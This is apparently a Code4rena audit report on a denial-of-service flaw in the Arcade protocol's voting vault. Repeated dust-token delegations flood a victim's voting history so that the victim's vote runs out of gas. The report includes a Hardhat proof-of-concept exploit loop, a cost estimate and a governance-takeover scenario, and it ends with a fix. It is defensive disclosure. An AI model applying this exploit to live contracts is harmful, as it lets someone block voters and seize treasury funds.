Lines of code
<https://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/external/council/CoreVoting.sol#L234&gt;
<https://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/external/council/libraries/History.sol#L197-L199&gt;

Vulnerability details

Note: Although some code involved is inside a contract which is out of scope, I argue that this finding is in scope, since the vulnerability exists in the in-scope contract.

In the Arcade protocol, there are several voting vaults implemented so that users can use their combined voting power from all (or some of) these vaults. Vaults are added using CoreVoting::changeVaultStatus.

Voting takes effect in the CoreVoting::vote function which subsequently calls queryVotePower on each vault provided by the user in the votingVaults argument.

Some vaults, like the NFTBoostVault inherit from the BaseVotingVault, which has the following implementation of the queryVotePower function:

    function queryVotePower(address user, uint256 blockNumber, bytes calldata) external override returns (uint256) {
        // Get our reference to historical data
        History.HistoricalBalances memory votingPower = _votingPower();


        // Find the historical data and clear everything more than 'staleBlockLag' into the past
        return votingPower.findAndClear(user, blockNumber, block.number - staleBlockLag);
    }

As can be seen, votingPower.findAndClear will always be invoked. That function will return user’s voting power in the relevant vault, but will also try to clear that user’s voting power history if there are some entries older than block.number - staleBlockLag.

Voting history is updated whenever user’s voting power changes, for instance if someone delegates his voting power to that user. New entries are only added if there was no previous entry recorded for the current block.

Now, attacker can “poison” somebody else’s voting history with a lot of garbage entries, for instance by delegating voting power of 1 for several thousand different blocks. If that happens, the victim won’t be able to vote, since the vote function will always invoke findAndClear which will attempt to erase several thousand entries, that will result in the Out Of Gas exception.

It won’t be possible to recover from this on currently ongoing proposals, since each proposal pushes a timestamp when it was created and vote queries voting power at that specific timestamp, so if the victim tries to delegate his votes to someone else, it will only work for future proposals. Any attempt to send victim’s tokens to another account will also only affect future proposals.

When such an attack is performed on a whale (or several whales), it may directly affect the outcome of voting as they won’t be able to take part in the voting (they will only be able to use their votes from another vault, which they may not have that much).

If attacker is able to get huge voting power for a short amount of time (for instance, by deploying a smart contract that will offer high yield for people staking their tokens - the same ones that can be staked in the NFTBoostVault), he can block whales from voting and then schedule a malicious proposal. Since there will not be enough “No” votes available, proposal may pass and the outcomes will be terrible as the main CoreVoting contract will be able to do almost anything, for instance changing its owner to the attacker’s address - in the tests CoreVoting owns the timelock contract that in turn owns CoreVoting, so changing owner will be possible. When the owner is changed, he will be able to:

• change vault status for each vault
• add his malicious vault to approvedVaults
• pass any further proposal, for instance to steal all the money from the treasury
  Anyway, the protocol will be ruined.

Attack cost

Let’s now estimate the cost of such an attack.

In the POC section, I’m providing a test that can be used in order to estimate gas cost. The point of our interest is the huge loop when Bob changes his delegations (notice that he can only use dust token amount, so I’m not counting in the cost of acquiring a small token fraction).

In the test I’m providing, the loop upper bound is 3500, and Alice’s transaction reverts with Out Of Gas. That is roughly an optimal value - hardhat was showing Alice’s transaction cost of 17_000_000 for upper bound equal 2000, so 3500 should just be enough to reach the Ethereum block gas limit of 30_000_000 (hardhat was also showing Out Of Gas for 3000, but let’s take 3500 to be safe.

The cost reported by hardhat for 3500 loop upper bound is ~700_000_000. Assuming that gas cost is 20 GWei (which was the case when I found the vulnerability), we get the total cost of performing this attack on a single account of 700_000_000 * 20 * 1e9 / 1e18 = 14ETH.

It isn’t a small cost, but may be justified, especially if there aren’t too many “whale” accounts with high voting power to block. In order to be able to push through the malicious proposal, attacker would have to gain some tokens to stake, but it’s hard to calculate right now, since I don’t know what will be a total market cap of staked tokens, but as I wrote before, attacker may deploy a smart contract that will give users some yield for deploying there their tokens instead of deploying to the voting vault.

Justification

It’s important to note that vulnerability exists because BaseVotingVault::queryVotePower calls findAndClear instead of find. Hence there is nothing wrong in CoreVoting or History (that are out of scope) - the vulnerability lies in BaseVotingVault, which is in scope.

Impact

The impact may be dramatic, as attacker will be able to set CoreVoting’s owner and do anything he wants (if he manages to schedule malicious proposal and he blocks accounts with the most voting power from voting). He could also pass another malicious proposal that could ruin the protocol or drain funds.

There is a cost involved in this attack, but the attack may be viable, especially if there are a lot tokens in the treasury.

Since the impact is huge and there aren’t external factors involved, I’m submitting this issue as High.

Proof of Concept

Please do the following modification to the Authorizable contract:

function setOwner(address who) public /*onlyOwner()*/ {

This will make it possible to set custom owner of CoreVoting, which will only be used to call changeVaultStatus with NFTBoostVault (in reality, real owner would do this).

Please also create TestERC20.sol file in contracts/test directory and paste the following code:

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract TestERC20 is ERC20 
{
    constructor() ERC20("TestERC20", "TERC20") {
        
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

That’s ERC20 implementation that will just mint tokens when requested - it will make testing easier.

Now, please paste (to NftBoostVault.ts) and run the following test:

async function scheduleProposal(NFTBoostVault, coreVoting, owner, feeController, newFee)
    {
        // some random proposal taken from another test
        const targetAddress = [feeController.address];
        const fcFactory = await ethers.getContractFactory("FeeController");
        const feeContCalldata = fcFactory.interface.encodeFunctionData("setOriginationFee", [newFee]);

        // create proposal by the owner
        await coreVoting
            .connect(owner)
            .proposal([NFTBoostVault.address], zeroExtraData, targetAddress, [feeContCalldata], MAX, 0);
    }

    describe("DoS", async () => {
        it("DoS", async () => {
            const { coreVoting, feeController } = ctxGovernance;
            const signers = await ethers.getSigners();
            const owner = signers[0];
            const Alice = signers[1];
            const Bob = signers[2];

            // balance of each user in TestERC20 custom token
            const ALICES_BALANCE = ethers.utils.parseEther("1000000000");
            const BOBS_BALANCE = 1;
            const OWNERS_BALANCE = ethers.utils.parseEther("1000");

            const TestERC20Factory = await ethers.getContractFactory("TestERC20");
            const TestERC20 = await TestERC20Factory.deploy();

            // mine some block in the future to resemble mainnet state
            await mine(1_000_000);

            // deploy NFTBoostVault with custom token (TestERC20) - we only need this token to provide some
            // balance to users so that they can stake their tokens in the vault
            // staleBlockLag is set to 10, but it doesn't matter - exploit will work for any value
            const NFTBoostVaultFactory = await ethers.getContractFactory("NFTBoostVault");
            const NFTBoostVault = await NFTBoostVaultFactory.deploy(TestERC20.address, 10, owner.address, owner.address);

            // we change owner only in order to approve vault and to provide owner with a possibility to 
            // schedule proposals
            await coreVoting.setOwner(owner.address);
            await coreVoting.connect(owner).changeVaultStatus(NFTBoostVault.address, true);

            // mint TestERC20 to users so that they can steke them
            await TestERC20.connect(Alice).mint(Alice.address, ALICES_BALANCE);
            await TestERC20.connect(Bob).mint(Bob.address, BOBS_BALANCE);
            await TestERC20.connect(owner).mint(owner.address, OWNERS_BALANCE);

            // everyone approves TestERC20, so that they can stake
            await TestERC20.connect(Alice).approve(NFTBoostVault.address, ALICES_BALANCE);
            await TestERC20.connect(Bob).approve(NFTBoostVault.address, BOBS_BALANCE);
            await TestERC20.connect(owner).approve(NFTBoostVault.address, OWNERS_BALANCE);

            await NFTBoostVault.connect(Alice).delegate(Alice.address);
            await NFTBoostVault.connect(Alice).addTokens(ALICES_BALANCE);

            await NFTBoostVault.connect(owner).delegate(owner.address);
            await NFTBoostVault.connect(owner).addTokens(OWNERS_BALANCE);

            // schedule proposal and alice should be able to vote
            await scheduleProposal(NFTBoostVault, coreVoting, owner, feeController, 62);
            await coreVoting.connect(Alice).vote([NFTBoostVault.address], zeroExtraData, 0, 0);

            // Bob delegates to random address and deposits his only token fraction - that is all he needs
            await NFTBoostVault.connect(Bob).delegate(owner.address);
            await NFTBoostVault.connect(Bob).addTokens(1);

            // Bob starts his attack
            var gasUsed = 0;
            for (var i = 0; i < 3500; i++)
            {
                const tx1 = await NFTBoostVault.connect(Bob).delegate(Bob.address);
                const tx2 = await NFTBoostVault.connect(Bob).delegate(Alice.address);
                const r1 = await tx1.wait();
                const r2 = await tx2.wait();
                gasUsed += r1.cumulativeGasUsed.toNumber();
                gasUsed += r2.cumulativeGasUsed.toNumber();
            }
            console.log(Gas used by the attacker: ${gasUsed});
            // schedule proposal with another fee
            await scheduleProposal(NFTBoostVault, coreVoting, owner, feeController, 63);

            // Alice's gas price calculation - uncomment if you want to check it for different loop upper bounds
            //const tx = await coreVoting.connect(Alice).vote([NFTBoostVault.address], zeroExtraData, 1, 0)
            //const r = await tx.wait();
            //console.log("Gas used by Alice = " + r.cumulativeGasUsed.toNumber());
            
            // Alice tries to vote - she is a whale, so she has a huge voting power, but she will fail
            await expect(coreVoting.connect(Alice).vote([NFTBoostVault.address], zeroExtraData, 1, 0)).to.be.reverted;
        }).timeout(400000);
    });

The follwoing import will be needed in the test file:

import { mine } from "@nomicfoundation/hardhat-network-helpers";

Tools Used

VS Code, hardhat

Recommended Mitigation Steps

Call find instead of findAndClear in queryVotePower (exactly as in queryVotePowerView).

Assessed type

DoS

---

The text was updated successfully, but these errors were encountered:

All reactions